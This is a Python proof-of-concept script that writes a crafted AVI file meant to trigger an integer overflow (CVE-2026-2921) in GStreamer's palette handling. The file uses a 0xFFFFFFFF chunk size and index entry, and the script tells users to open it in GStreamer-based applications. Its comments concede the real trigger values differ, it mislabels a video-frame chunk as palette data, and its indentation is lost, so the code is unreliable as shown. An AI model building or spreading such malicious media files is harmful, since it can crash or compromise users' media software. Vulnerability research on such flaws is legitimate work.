#!/usr/bin/env python3
"""
CVE-2026-2921 PoC - GStreamer RIFF Palette Integer Overflow
This PoC generates a malicious AVI file that triggers integer overflow
in GStreamer's palette handling code.
WARNING: For educational and security research purposes only.
Do not use this code for malicious activities.
"""
import struct
import sys
def create_malicious_avi():
"""Create a malicious AVI file with crafted palette data"""
# AVI RIFF header
riff_header = b'RIFF'
file_size = 0 # Will be calculated
avih_signature = b'AVI '
# hdrl LIST - movie header
hdrl_list = b'LIST'
hdrl_size = 0 # Will be calculated
hdrl_type = b'hdrl'
# avih chunk - AVI header chunk
avih_chunk_id = b'avih'
avih_chunk_size = 56 # Fixed size for avih chunk
avih_data = struct.pack('<I', 100000) # microsec per frame
avih_data += struct.pack('<I', 0) # max bytes per sec
avih_data += struct.pack('<I', 0) # padding
avih_data += struct.pack('<I', 0) # flags
avih_data += struct.pack('<I', 0) # total frames
avih_data += struct.pack('<I', 0) # initial frames
avih_data += struct.pack('<I', 1) # streams
avih_data += struct.pack('<I', 1024) # suggested buffer size
avih_data += struct.pack('<I', 320) # width
avih_data += struct.pack('<I', 240) # height
avih_data += struct.pack('<I', 0) * 4 # reserved
avih_chunk = avih_chunk_id + struct.pack('<I', avih_chunk_size) + avih_data
# strl LIST - stream list
strl_list = b'LIST'
strl_size = 0 # Will be calculated
strl_type = b'strl'
# strh chunk - stream header
strh_chunk_id = b'strh'
strh_chunk_size = 56
strh_data = b'vids' # video stream
strh_data += b'DIB ' # uncompressed RGB
strh_data += struct.pack('<I', 0) # flags
strh_data += struct.pack('<H', 0) # priority
strh_data += struct.pack('<H', 0) # language
strh_data += struct.pack('<I', 0) # initial frames
strh_data += struct.pack('<I', 1) # scale
strh_data += struct.pack('<I', 30) # rate
strh_data += struct.pack('<I', 0) # start
strh_data += struct.pack('<I', 1) # length
strh_data += struct.pack('<I', 1024) # suggested buffer size
strh_data += struct.pack('<I', 0) # quality
strh_data += struct.pack('<I', 0) # sample size
strh_data += struct.pack('<h', 0) # rect
strh_data += struct.pack('<h', 0)
strh_data += struct.pack('<h', 320)
strh_data += struct.pack('<h', 240)
strh_chunk = strh_chunk_id + struct.pack('<I', strh_chunk_size) + strh_data
# strf chunk - stream format (BITMAPINFOHEADER)
strf_chunk_id = b'strf'
strf_chunk_size = 40 # BITMAPINFOHEADER size
strf_data = struct.pack('<I', 40) # biSize
strf_data += struct.pack('<i', 320) # biWidth
strf_data += struct.pack('<i', 240) # biHeight
strf_data += struct.pack('<H', 1) # biPlanes
strf_data += struct.pack('<H', 8) # biBitCount (8-bit = 256 colors)
strf_data += struct.pack('<I', 0) # biCompression (BI_RGB)
strf_data += struct.pack('<I', 0) # biSizeImage
strf_data += struct.pack('<i', 0) # biXPelsPerMeter
strf_data += struct.pack('<i', 0) # biYPelsPerMeter
strf_data += struct.pack('<I', 0) # biClrUsed
strf_data += struct.pack('<I', 0) # biClrImportant
strf_chunk = strf_chunk_id + struct.pack('<I', strf_chunk_size) + strf_data
strl_list_content = strh_chunk + strf_chunk
strl_list = b'LIST' + struct.pack('<I', len(strl_list_content) + 4) + strl_type + strl_list_content
hdrl_list_content = avih_chunk + strl_list
hdrl_list = b'LIST' + struct.pack('<I', len(hdrl_list_content) + 4) + hdrl_type + hdrl_list_content
# movi LIST - media data
# Create malicious palette data that triggers integer overflow
movi_list_type = b'movi'
# idx1 chunk - index entries with crafted sizes
idx1_chunk_id = b'idx1'
# Create palette chunk (00dc or 00db) with malicious size
# The key is to craft a palette chunk with size that causes integer overflow
# when GStreamer calculates memory allocation
palette_chunk_id = b'00db' # video frame
# Crafted palette data size that can trigger integer overflow
# In real vulnerability, specific values cause overflow in size calculation
malicious_size = 0xFFFFFFFF # Max uint32 - triggers overflow
palette_data = b'\x00' * 256 # Malformed palette data
palette_chunk = palette_chunk_id + struct.pack('<I', malicious_size) + palette_data
# idx1 entry pointing to our malicious chunk
idx1_entry = palette_chunk_id # chunk id
idx1_entry += struct.pack('<I', 0x10) # flags (AVIIF_KEYFRAME)
idx1_entry += struct.pack('<I', 4) # offset
idx1_entry += struct.pack('<I', malicious_size) # size (triggers overflow)
idx1_data = idx1_entry
idx1_chunk = idx1_chunk_id + struct.pack('<I', len(idx1_data)) + idx1_data
movi_list_content = palette_chunk + idx1_chunk
movi_list = b'LIST' + struct.pack('<I', len(movi_list_content) + 4) + movi_list_type + movi_list_content
# Calculate file size
file_content = avih_signature + hdrl_list + movi_list
file_size = len(file_content) + 4
# Build final AVI file
avi_file = riff_header + struct.pack('<I', file_size) + file_content
return avi_file
def main():
"""Generate and save the PoC AVI file"""
print("[*] Generating CVE-2026-2921 PoC AVI file...")
avi_data = create_malicious_avi()
output_file = "CVE-2026-2921-poc.avi"
with open(output_file, 'wb') as f:
f.write(avi_data)
print(f"[+] PoC file generated: {output_file}")
print(f"[+] File size: {len(avi_data)} bytes")
print("[!] This file contains crafted data to trigger integer overflow in GStreamer")
print("[!] Use with GStreamer-based applications to test the vulnerability")
if __name__ == "__main__":
main()